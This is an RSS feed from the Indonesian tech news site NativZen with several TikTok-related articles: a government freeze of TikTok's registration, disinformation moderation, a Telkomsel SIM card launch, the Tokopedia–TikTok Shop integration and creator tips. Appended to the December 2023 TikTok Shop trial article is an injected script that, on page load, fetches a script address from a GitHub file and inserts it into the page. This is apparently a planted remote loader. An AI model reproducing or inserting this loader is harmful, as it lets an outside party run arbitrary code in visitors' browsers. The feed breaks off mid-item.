<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tiktok &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/tiktok/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Fri, 03 Oct 2025 10:44:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>tiktok &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Kominfo Bekukan Tanda Daftar PSE TikTok, Aplikasi Terancam Diblokir?</title>
		<link>https://nativzen.com/2025/10/03/kominfo-bekukan-tanda-daftar-pse-tiktok-aplikasi-terancam-diblokir/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 03 Oct 2025 10:44:27 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[aplikasi tiktok]]></category>
		<category><![CDATA[daftar pse]]></category>
		<category><![CDATA[izin pse]]></category>
		<category><![CDATA[komdigi]]></category>
		<category><![CDATA[tiktok]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=22956</guid>

					<description><![CDATA[Komdigi menilai TikTok telah melanggar kewajiban sebagai PSE Privat, dan telah dilakukan pembekuan sementara TDPSE.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; TikTok, penyedia layanan video pendek terpopuler dianggap tidak mematuhi kewajiban sesuai peraturan perundang-undangan di Indonesia terkait dengan aktivitas TikTok Live selama demonstrasi yang terjadi pada Agustus 2025.</p>



<p>Oleh karena itu, Kementerian Komunikasi dan Digital (Komdigi) melalui Direktorat Jenderal Pengawasan Ruang Digital membekukan sementara Tanda Daftar Penyelenggara Sistem Elektronik (TDPSE) terhadap TikTok Pte. Ltd.</p>



<p>“Langkah ini merupakan bentuk ketegasan Pemerintah setelah TikTok hanya memberikan data secara parsial atas aktivitas TikTok Live selama periode unjuk rasa 25–30 Agustus 2025,” kata Direktur Jenderal Pengawasan Ruang Digital, Alexander Sabar di kantor Komdigi, Jakarta, Jumat (3/10/2025).</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="538" src="https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-1024x538.png" alt="" class="wp-image-22957" srcset="https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-1024x538.png 1024w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-300x158.png 300w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-768x403.png 768w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-1536x806.png 1536w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-370x194.png 370w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-270x142.png 270w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-570x299.png 570w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1-740x389.png 740w, https://nativzen.com/wp-content/uploads/2025/10/Aplikasi-TikTok-Foto-Search-Engine-Journal-1.png 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dirjen Alexander menyatakan, atas dugaan monetisasi aktivitas live dari akun yang terindikasi aktivitas perjudian online, Komdigi telah mengajukan permintaan data yang mencakup informasi traffic, aktivitas siaran langsung (live streaming) serta data monetisasi, termasuk jumlah dan nilai pemberian gift.</p>



<p>“Kami telah memanggil TikTok untuk memberikan klarifikasi secara langsung pada tanggal 16 September 2025, dan TikTok diberikan waktu hingga 23 September 2025 untuk menyampaikan data yang diminta secara lengkap,” jelas Dirjen.</p>



<p>Akan tetapi, melalui surat resmi dari TikTok bernomor ID/PP/04/IX/2025 tertanggal 23 September 2025, disampaikan bahwa TikTok memiliki kebijakan dan prosedur internal yang mengatur cara menangani dan menanggapi permintaan data, sehingga TikTok menyatakan tidak dapat memberikan data yang diminta.</p>



<p>Alexander menyebutkan, permintaan data merujuk pada Pasal 21 ayat (1) Peraturan Menteri Komunikasi dan Informatika No. 5 Tahun 2020 tentang Penyelenggara Sistem Elektronik Lingkup Privat yang menyatakan kewajiban PSE Lingkup Privat untuk memberikan akses terhadap Sistem Elektronik dan/atau Data Elektronik kepada Kementerian atau Lembaga dalam rangka pengawasan sesuai dengan peraturan perundang-undangan.</p>



<p>“Sehingga, Komdigi menilai TikTok telah melanggar kewajiban sebagai PSE Privat, dan kami mengambil langkah pembekuan sementara TDPSE sebagai bentuk tindak lanjut pengawasan,” tegas Alexander.</p>



<p>Dirjen menyatakan, langkah tegas ini bukan semata tindakan administratif, melainkan bentuk perlindungan negara untuk menjamin keamanan masyarakat Indonesia dari risiko penyalahgunaan teknologi digital, serta memastikan bahwa transformasi digital berjalan secara sehat, adil, dan aman bagi seluruh warga.</p>



<p>“Komdigi berkomitmen untuk menjaga kedaulatan hukum nasional dalam tata kelola ruang digital, termasuk memberikan pelindungan bagi pengguna, khususnya kelompok rentan anak dan remaja, dari potensi penyalahgunaan fitur digital untuk aktivitas ilegal,” tegas Dirjen Alexander.</p>



<p>Komdigi akan terus memperkuat pengawasan terhadap seluruh PSE terdaftar, mendorong kerja sama aktif yang konstruktif dengan seluruh pemangku kepentingan dan memastikan bahwa setiap platform digital menjalankan operasionalnya dengan penuh tanggung jawab.</p>



<p><strong><em>Penulis: Ahmad Luthfi</em></strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Komdigi Desak TikTok dan Meta Lawan Konten Disinformasi</title>
		<link>https://nativzen.com/2025/09/01/komdigi-desak-tiktok-dan-meta-lawan-konten-disinformasi/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 01 Sep 2025 00:34:27 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[aplikasi x]]></category>
		<category><![CDATA[komdigi]]></category>
		<category><![CDATA[konten disinformasi]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[tiktok]]></category>
		<category><![CDATA[twitter]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=22030</guid>

					<description><![CDATA[Dampak (disinformasi) adalah kekacauan. Dan masyarakat tidak menerima informasi yang akurat dan lengkap.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Pemerintah Indonesia melalui Kementerian Komunikasi dan Digital (Komdigi) telah memanggil perwakilan Meta Platforms Inc dan TikTok milik ByteDance serta platform media sosial lainnya.</p>



<p>Komdigi memerintahkan penyedia layanan media sosial untuk meningkatkan moderasi konten karena disinformasi telah menyebar secara daring. Disinformasi ini, terutama di TikTok dan Instagram milik Meta telah memicu kemarahan dan protes terhadap pemerintah.</p>



<p>Hal itu ditegaskan secara terbuka oleh Wakil Menteri Komunikasi dan Digital Angga Raka Prabowo kepada Reuters. Pemerintah akan mendesak platform-platform tersebut untuk memoderasi atau menghapus konten disinformasi, serta konten apa pun, termasuk pornografi dan judi online.</p>



<p>&#8220;Mereka harus mematuhi aturan karena tujuan kita adalah melindungi negara ini. Sanksi dalam aturan tersebut berupa teguran, denda, penghentian sementara, pencabutan akses, atau bahkan penghapusan dari daftar platform elektronik terdaftar,&#8221; ujar Angga.</p>



<p>&#8220;Dampak (disinformasi) adalah kekacauan. Dan masyarakat tidak menerima informasi yang akurat dan lengkap,” tambahnya. </p>



<p>Sekadar informasi, TikTok dan Instagram masing-masing memiliki lebih dari 100 juta akun yang berbasis di Indonesia. Dengan jumlah pengguna yang besar, tentu memberikan dampak yang besar pula dalam mempengaruhi opini publik.</p>



<p>Sebagai contoh, disinformasi termasuk video deepfake Menteri Keuangan Sri Mulyani Indrawati yang mengatakan guru adalah beban negara. Selain itu, ada beberapa konten yang memiliki kesalahan label terkait kerusuhan yang terjadi di Jakarta.</p>



<p>Seperti diketahui, demonstrasi atau protes terjadi di berbagai daerah, khususnya di Jakarta pada 25 Agustus 2025 sebagai bentuk penolakan terhadap proposal kenaikan tunjangan, khususnya tunjangan rumah sebesar Rp 50 juta per bulan untuk anggota DPR RI.</p>



<h3 class="wp-block-heading">Komdigi Tegaskan Moderasi Konten untuk Platform Media Sosial</h3>



<p>Dilansir dari CNBC Indonesia, Komdigi memanggil beberapa platform media sosial seperti Tiktok dan Meta serta menegaskan bahwa pemanggilan ini terkait moderasi konten, bukan semata-mata karena aksi demo yang belakangan ini terjadi.</p>



<p>Terkait moderasi konten atau perang melawan konten disinformasi ini, Wakil Menteri Komdigi, Nezar Patria memastikan bahwa pihaknya sudah menyurati media sosial X (sebelumnya Twitter) yang tidak memiliki kantor di Indonesia.</p>



<p>Platform asing diharuskan berkantor di Indonesia. Nezar mengungkap hal ini dinilai cukup wajar karena negara lain pun memberlakukan hal yang sama seperti di Singapura, Malaysia dan Korea Selatan.</p>



<p>Lebih lanjut Nezar mengatakan, Indonesia memiliki penduduk hampir 300 juta jiwa dengan penetrasi internet 80% serta basis pengguna media sosial yang tinggi, sehingga menurutnya<br>semua OTT yang memanfaatkan Indonesia sebagai pasar wajib patuh terhadap regulasi,<br>termasuk memiliki kantor di Indonesia.</p>



<p>Apabila terdapat platform yang tidak memiliki kantor di Indonesia, maka platform tersebut akan berhadapan dengan regulasi yang berlaku. Nezar pun berharap penyedia aplikasi dapat kooperatif untuk mengikuti aturan di Tanah Air.</p>



<p><strong><em>Penulis: Ahmad Luthfi</em></strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Telkomsel, TikTok, dan GoPay Luncurkan Kartu Perdana SIMPATI TikTok</title>
		<link>https://nativzen.com/2025/07/15/telkomsel-tiktok-dan-gopay-luncurkan-kartu-perdana-simpati-tiktok/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 15 Jul 2025 06:23:48 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[gopay]]></category>
		<category><![CDATA[kertu perdana]]></category>
		<category><![CDATA[simpati]]></category>
		<category><![CDATA[simpati tiktok]]></category>
		<category><![CDATA[telkomsel]]></category>
		<category><![CDATA[tiktok]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=20598</guid>

					<description><![CDATA[SIMPATI TikTok hadir dalam bentuk kartu perdana edisi khusus yang dibanderol seharga Rp 55.000 dengan kuota internet 5GB.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Telkomsel, TikTok, dan GoPay meluncurkan SIMPATI TikTok, kartu perdana edisi khusus yang menjadi langkah awal sinergi tiga ekosistem digital terbesar di Indonesia untuk menghadirkan power of connectivity.</p>



<p>Memadukan keunggulan jaringan broadband terdepan dan terluas Telkomsel, kapabilitas live-commerce TikTok, serta layanan finansial inklusif GoPay, produk kolaborasi ini diharapkan mampu mempercepat pencapaian visi Indonesia Emas 2045.</p>



<p>Sebagai langkah awal, SIMPATI TikTok hadir dalam bentuk kartu perdana edisi khusus yang dibanderol seharga Rp 55.000 dengan kuota internet 5GB, dilengkapi jaringan yang unggul saat mengakses aplikasi TikTok.</p>



<p>Pelanggan juga mendapatkan voucher TikTok Shop by Tokopedia dan GoPay. Produk ini dihadirkan untuk memudahkan masyarakat luas, khususnya para kreator dan UMKM, dalam mengakses TikTok dan layanan digital lainnya secara lancar di mana pun dan kapan pun.</p>



<p>“Dengan fondasi jaringan Telkomsel yang terdepan dan terluas di Indonesia, SIMPATI TikTok memastikan setiap kreator dan pelaku UMKM bisa mendapatkan koneksi stabil dan terpercaya,&#8221; ujar Derrick Heng, Director Marketing of Telkomsel, saat acara peluncuran di Jakarta, (15/07).</p>



<p>Derrick menambahkan bahwa SIMPATI TikTok juga diharapkan bisa menjadi katalis bagi kreativitas digital masyarakat Indonesia. Kolaborasi lintas-ekosistem ini bisa membuka peluang ekonomi hingga ke seluruh penjuru negeri, dan meningkatkan taraf hidup masyarakat.</p>



<p>Lebih lanjut, paket isi ulang SIMPATI TikTok juga tersedia untuk menjangkau berbagai segmen pengguna, mulai dari mereka yang gemar menikmati konten di TikTok, hingga kreator dan pelaku UMKM yang aktif melakukan live streaming. </p>



<p>Seluruh paket dirancang dengan kuota besar, harga terjangkau, dan dilengkapi voucher GoPay, TikTok Shop by Tokopedia serta MyAds, tersedia bagi seluruh pelanggan SIMPATI melalui aplikasi MyTelkomsel, UMB *363#, dan mitra ritel resmi Telkomsel di seluruh Indonesia. </p>



<p>Pelanggan dapat memilih berbagai varian, mulai dari harga Rp 5.000 untuk kuota khusus TikTok 5GB, hingga Rpv100.000 untuk 60GB kuota TikTok dan internet, serta akses jaringan yang unggul, sesuai dengan kebutuhan aktivitas digital mereka.</p>



<p>“Melalui kolaborasi ini, TikTok ingin memperkuat ekonomi livestream di Indonesia dengan mempermudah kreator dan UMKM mengakses perangkat yang mendukung pertumbuhan mereka,&#8221; ujar Direktur Global Business Development TikTok Asia Pasifik, Vanessa Brown.</p>



<p>Kolaborasi strategis ini berjalan dalam kerangka kerja Enable, Equip, Empower, dan Endorse (4E), yang dirancang secara khusus untuk memberikan manfaat nyata kepada masyarakat secara luas:</p>



<ul>
<li><strong>Enable</strong> – Menyediakan konektivitas unggul serta solusi layanan dari ketiga ekosistem untuk menghadirkan pengalaman streaming dan transaksi yang optimal.</li>



<li><strong>Equip </strong>– Memberikan akses jaringan unggul, fitur <em>live-commerce</em> TikTok, serta insentif digital bagi penonton, kreator, dan penjual di platform digital.</li>



<li><strong>Empower</strong> – Mengadakan berbagai pelatihan literasi digital, program sertifikasi, hingga pendampingan langsung guna meningkatkan kompetensi kreator dan UMKM.</li>



<li><strong>Endorse</strong> – Mengintegrasikan berbagai solusi lintas-ekosistem dari Telkomsel, TikTok, dan GoPay untuk mendukung pertumbuhan ekonomi digital yang inklusif dan berkelanjutan.</li>
</ul>



<p>Sementara itu, Presiden Direktur GoTo Financial, Sudhanshu Raheja mengatakan bahwa kolaborasi ini sejalan dengan misi GoPay dalam mendorong inklusi keuangan bagi seluruh lapisan masyarakat. </p>



<p>&#8220;SIMPATI TikTok menghadirkan akses koneksi yang unggul di seluruh wilayah Indonesia, khususnya bagi para kreator dan pelaku UMKM, sekaligus  mempermudah akses layanan keuangan digital di aplikasi GoPay bagi masyarakat luas,&#8221; ujar Raheja.</p>



<p>Peluncuran SIMPATI TikTok menjadi wujud nyata komitmen kolaboratif dari Telkomsel, TikTok, dan GoPay dalam mendorong inklusi digital yang bermakna, memperkuat pertumbuhan ekonomi kreatif digital, serta memberdayakan masyarakat menuju Indonesia Emas 2045.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fakta-Fakta Integrasi Tokopedia dan TikTok Shop yang Tuai Pro dan Kontra</title>
		<link>https://nativzen.com/2025/06/05/fakta-fakta-integrasi-tokopedia-dan-tiktok-shop-yang-tuai-pro-dan-kontra/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 05 Jun 2025 04:10:51 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[integrasi]]></category>
		<category><![CDATA[tiktok]]></category>
		<category><![CDATA[tiktok shop]]></category>
		<category><![CDATA[tokopedia]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=19614</guid>

					<description><![CDATA[Integrasi Tokopedia dan TikTok Shop diharapkan berdampak pada peningkatan dan pertumbuhan seller.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tahun lalu, tepatnya 31 Januari 2024, TikTok resmi mengakuisisi 75,01% saham Tokopedia. Proses akuisisi ini menandai penggabungan bisnis Tokopedia dan TikTok Shop Indonesia di bawah PT Tokopedia, dengan nilai investasi mencapai lebih dari US$ 1,5 miliar atau sekitar Rp23,4 triliun.</p>



<p>Satu tahun lebih sejak akuisisi tersebut, Bytedance, perusahaan pemilik TikTok asal China menerapkan langkah melebur pusat penjualan (Seller Center) Tokopedia dan TikTok Shop by Tokopedia. </p>



<p>Penggabungan Seller Center ini secara teknis tidak menyalahi Peraturan Menteri Perdagangan (Permendag) Nomor 31 Tahun 2023. Melalui posting-an di Instagram <strong>@tokopedia_tiktokshop</strong>, terungkap bahwa perusahaan mengucapkan terima kasih atas aspirasi dan kritik terkait integrasi Tokopedia dengan TikTok Shop.</p>



<p>&#8220;Kami memahami bahwa masa transisi ini tidak mudah, terlebih dengan adanya perubahan tampilan fitur dan proses adaptasi dalam waktu yang singkat. Kami sangat menghargai kejujuran dan keterbukaan dari rekan seller,&#8221; tulis akun tersebut.</p>



<p>Perusahaan mendorong seller yang belum melakukan integrasi agar segera melakukan integrasi karena langkah ini diharapkan berdampak pada peningkatan dan pertumbuhan seller. &#8220;Kami percaya, bahwa seller lain pun bisa merasakan pertumbuhan yang sama,&#8221; tambahnya.</p>



<p>Kendati membawa efek positif dari sisi efisiensi biaya, operasional hingga perluasan pasar dan audiens, ada beberapa fakta-fakta menarik terkait integrasi Seller Center Tokopedia dengan TikTok Shop ini.</p>



<h3 class="wp-block-heading">Restrukturisasi atau Efisiensi Pekerja</h3>



<p>Dengan mayoritas saham dipegang oleh Bytedance, perusahaan kemudian dikabarkan akan memangkas ribuan karyawan. Bloomberg News pada akhir Mei melaporkan bahwa TikTok tengah bersiap kebijakan pemangkasan (PHK) karyawan.</p>



<p>Sumber yang mengetahui rencana ini mengatakan bahwa unit e-commerce milik ByteDance akan memotong tenaga kerja di semua divisi seperti logistik hingga gudang. Disebutkan bahwa gelombang PHK akan terjadi pada Juli 2025.</p>



<p>Pasca PHK, jumlah total karyawan TikTok Shop dan Tokopedia di Indonesia akan menurun menjadi sekitar 2.500 orang, seperti dikutip dari Bloombergtechnoz.</p>



<p>Sementara, juru bicara TikTok mengungkapkan, setelah akuisisi saham Tokopedia, perusahaan fokus pada pengembangan bisnis, termasuk memanfaatkan kekuatan TikTok Shop dan Tokopedia untuk melayani pengguna mereka.</p>



<h3 class="wp-block-heading">Kendala dan Kekhawatiran Seller</h3>



<p>Beberapa penjual melaporkan kendala seperti antarmuka yang membingungkan, kesulitan mengelola pesanan, dan fitur yang terbatas dibandingkan dengan Tokopedia sebelumnya. Ada juga kekhawatiran bahwa penjual dipaksa beralih ke sistem baru tanpa opsi untuk kembali ke<br>platform lama. </p>



<p>Selain itu, perubahan UI dan penghilangan fitur tertentu menyebabkan ketidaknyamanan bagi sebagian pengguna lama Tokopedia. Mengintip komentar netizen di akun Instagram <strong>@tokopedia_tiktokshop</strong>, sebagian tampak tidak setuju terkait integrasi ini </p>



<p>Pasalnya, seller yang merintis rating bertahun-tahun di Tokopedia harus beralih ke TikTok Shop, yang menurutnya beda ekosistem dan buyer. Sebagian pengguna bahkan mengajak seller Tokopedia lainnya untuk beralih ke e-commerce kompetitor. Integrasi juga dikeluhkan menurunkan trafik hingga dashboard yang menyulitkan seller.</p>



<h3 class="wp-block-heading">Batas Waktu Migrasi</h3>



<p>Penjual Tokopedia diminta untuk pindah ke pusat penjualan baru milik Bytedance paling lambat 9 Juni 2025, sebagai bagian dari proses transisi dan integrasi untuk memudahkan pengelolaan toko secara terpadu.</p>



<p>Belum diketahui konsekuensi apabila seller Tokopedia belum melakukan integrasi tersebut. Beberapa kemungkinan yang bisa saja terjadi seperti akses ke Seller Center lama dihentikan, sehingga pedagang kehilangan akses ke dashboard atau Seller Center lama.</p>



<p>Ini berarti mereka tidak bisa lagi mengelola toko, memperbarui produk, memproses pesanan, atau menerima pembayaran di platform lama.</p>



<h3 class="wp-block-heading">Kepatuhan Regulasi </h3>



<p>Kementerian Perdagangan (Kemendag) memastikan bahwa proses integrasi ini tidak melanggar aturan yang berlaku dan akan terus memantau kepatuhan selama proses migrasi pedagang ke pusat penjualan baru milik Bytedance.</p>



<p>Menteri Perdagangan Budi Santoso menegaskan bahwa proses integrasi dan migrasi pedagang Tokopedia ke pusat penjualan baru milik Bytedance tidak menyalahi aturan. Penggabungan ini dikomunikasikan dengan pihak terkait dan dipastikan tidak ada aturan yang dilanggar, baik secara teknis maupun administratif.</p>



<p>Integrasi ini juga bertujuan melindungi UMKM lokal dari dominasi produk impor, serta memastikan ekosistem digital di Indonesia berkembang secara sehat dan adil bagi pelaku usaha dalam negeri.</p>



<p><strong><em>Penulis: Ahmad Luthfi</em></strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Bangun Personal Branding, Ini 5 Tips Meningkatkan Followers di TikTok</title>
		<link>https://nativzen.com/2025/05/17/bangun-personal-branding-ini-5-tips-meningkatkan-followers-di-tiktok/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 17 May 2025 10:00:50 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[followers]]></category>
		<category><![CDATA[personal branding]]></category>
		<category><![CDATA[tiktok]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=18985</guid>

					<description><![CDATA[TikTok memakai sistem kurasi konten yang mengutamakan minat penonton ketimbang jumlah followers.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tidak diragukan lagi TikTok menjadi salah satu aplikasi yang diandalkan untuk meningkatkan jumlah viewers dengan cepat. TikTok memakai sistem kurasi konten yang mengutamakan minat penonton ketimbang jumlah followers.</p>



<p>Dengan kata lain, algoritma TikTok menilai konten berdasarkan seberapa menarik dan relevan video tersebut bagi pengguna lain, bukan berdasarkan popularitas kreatornya.</p>



<p>Dengan keunggulan TikTok dalam hal jangkauan audiens, disarakan kreator pemula menggunakan aplikasi yang satu ini untuk mendorong followers atau perhatian netizen. Selain itu, TikTok juga bisa digunakan untuk membangun personal branding seseorang.</p>



<p>Berikut ini sejumlah tips yang dapat dilakukan oleh para kreator TikTok dalam mengembangkan akun mereka.</p>



<ol>
<li><strong>Niche Harus Jelas</strong><br>Menentukan tema atau niche konten penting agar audiens dan algoritma TikTok memahami karakter akun. Konten yang konsisten dalam satu topik, seperti edukasi, hiburan, beauty, atau gaya hidup, cenderung mudah menarik pengikut.</li>



<li><strong>Pakai Hook Menarik di Awal Video</strong><br>TikTok mengandalkan retensi penonton. Dengan demikian, kreator dianjurkan membuat pembuka yang menggugah di 3 detik pertama, seperti kalimat tanya, fakta mengejutkan atau pernyataan kontroversial untuk mendorong penonton menonton sampai akhir video.</li>



<li><strong>Rajin dan Konsisten Upload Konten</strong><br>Upload sebanyak 1 hingga 3 video per hari jadi kunci agar tetap relevan di mata algoritma. Kreator dianjurkan membuat jadwal rutin agar audiens terbiasa dengan kehadiran konten yang diunggah.</li>



<li><strong>Ikuti Tren dan Tetap Orisinal</strong><br>Ikut tren yang sedang hits, tantangan, lagu, atau format video yang viral membantu meningkatkan jangkauan. Konten akan lebih berkesan apabila dibuat dengan cara unik dan mencerminkan identitas kreator.</li>



<li><strong>Optimalisasi Caption dan Hashtag</strong><br>Caption yang singkat namun menarik cukup dapat mendorong interaksi. Sementara itu, cpenggunaan hashtag yang tepat, baik dari niche maupun yang sedang trending bisa meningkatkan visibilitas konten.</li>
</ol>



<p>Demikian beberapa tips yang dapat dilakukan untuk mendorong pertumbuhan followers bagi mereka yang baru membuat konten di TikTok. Followers yang meningkat secara organik tentu membuka peluang kerjasama bagi brand ataupun tujuan bisnis di masa yang akan datang.</p>



<p><strong><em>Penulis: Ahmad Luthfi</em></strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kemendag: TikTok Shop Diuji Coba, akan Diawasi Ketat</title>
		<link>https://nativzen.com/2023/12/12/kemendag-tiktok-shop-diuji-coba-akan-diawasi-ketat/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 12 Dec 2023 08:27:22 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[beli lokal 12.12]]></category>
		<category><![CDATA[tiktok]]></category>
		<category><![CDATA[tiktok shop]]></category>
		<category><![CDATA[tokopedia]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=1638</guid>

					<description><![CDATA[TikTok Shop "kembali hadir" di Indonesia sebagai uji coba yang bakal diawasi langsung Kementerian Perdagangan RI.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Gelaran Beli Lokal 12.12 jadi pembuktian awal kolaborasi GoTo melalui Tokopedia dengan TikTok yang mengoperasikan kembali TikTok Shop. Hanya saja, TikTok Shop &#8220;kembali hadir&#8221; di Indonesia sebagai uji coba yang bakal diawasi langsung Kementerian Perdagangan RI. </p>



<p>&#8220;Hari ini, 12 Desember 2023, TikTok Shop sudah kembali hadir dan bisa dimanfaatkan UMKM yang ingin meramaikan Beli Lokal 12.12 hasil kolaborasi TikTok dan Tokopedia,&#8221; jelas Menteri Perdagangan RI Zulkifli Hasan di hadapan sejumlah media di Jakarta, (12/12).</p>



<p>Lebih lanjut, Zulkifli Hasan atau yang sering disapa Zulhas menerangkan bahwa program Beli Lokal 12.12 besutan TikTok dan Tokopedia ini adalah titik awal uji coba TikTok Shop yang akan dinilai hingga 3 sampai 4 bulan ke depan.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-1024x768.jpg" alt="" class="wp-image-1640" srcset="https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-1024x768.jpg 1024w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-300x225.jpg 300w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-768x576.jpg 768w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-1536x1152.jpg 1536w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-2048x1536.jpg 2048w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-370x278.jpg 370w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-270x203.jpg 270w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-570x428.jpg 570w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-740x555.jpg 740w, https://nativzen.com/wp-content/uploads/2023/12/IMG20231212105808-80x60.jpg 80w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>&#8220;Kami akan mengawasi secara ketat uji coba TikTok Shop ini, dan tentunya kesepakatan TikTok dengan Tokopedia adalah juga menyempurnakan teknologinya. Kami akan lihat perkembangannya, dan akan kami nilai pada saatnya nanti,&#8221; tambah Zulhas.</p>



<p>Pernyataan yang keluar dari mulut Zulhas juga senada dengan penjabaran yang disampaikan Presiden Tokopedia, Melissa Siska Juminto. Dalam presentasinya saat peresmian Beli Lokal 12.12, dia mengatakan bahwa Tokopedia dan TikTok akan serius memajukan UMKM lokal.</p>



<p>&#8220;Beli Lokal 12.12 adalah titik awal kolaborasi kami bersama TikTok. Tak berhenti sampai di situ, kami pun punya program Hulunisasi UMKM yang akan membina pelaku UMKM di Tanah Air agar mereka semua bisa naik kelas,&#8221; ucap Melissa.</p>



<p>Sementara itu, Zulhas menambahkan bahwa uji coba TikTok Shop dengan balutan Beli Lokal 12.12 agar UMKM bisa segera berjualan kembali, tidak perlu menunggu lama. Diharapkan, ini juga bisa membawa dampak yang lebih besar dalam membangun ekosistem UMKM lokal.</p>



<p>&#8220;Kami tentunya medorong agar UMKM lokal bisa benar-benar memanfaatkan platform digital ini sebaik mungkin. Dengan begitu, mereka bisa kembali tumbuh seperti yang juga diinginkan oleh pemerintah,&#8221; pungkas Zulhas.</p>



<p>Lewat kemitraan terbaru antara GoTo melalui Tokopedia dengan TikTok yang diumumkan pada 11 Desember 2023, TikTok Shop pun akan kembali dioperasikan. Fitur layanan belanja dalam aplikasi TikTok di Indonesia ini akan dioperasikan dan dikelola oleh Tokopedia.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kolaborasi TikTok &#038; Tokopedia Hadirkan Beli Lokal 12.12</title>
		<link>https://nativzen.com/2023/12/12/kolaborasi-tiktok-tokopedia-hadirkan-beli-lokal-12-12/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 12 Dec 2023 07:06:03 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[beli lokal 12.12]]></category>
		<category><![CDATA[tiktok]]></category>
		<category><![CDATA[tiktok shop]]></category>
		<category><![CDATA[tokopedia]]></category>
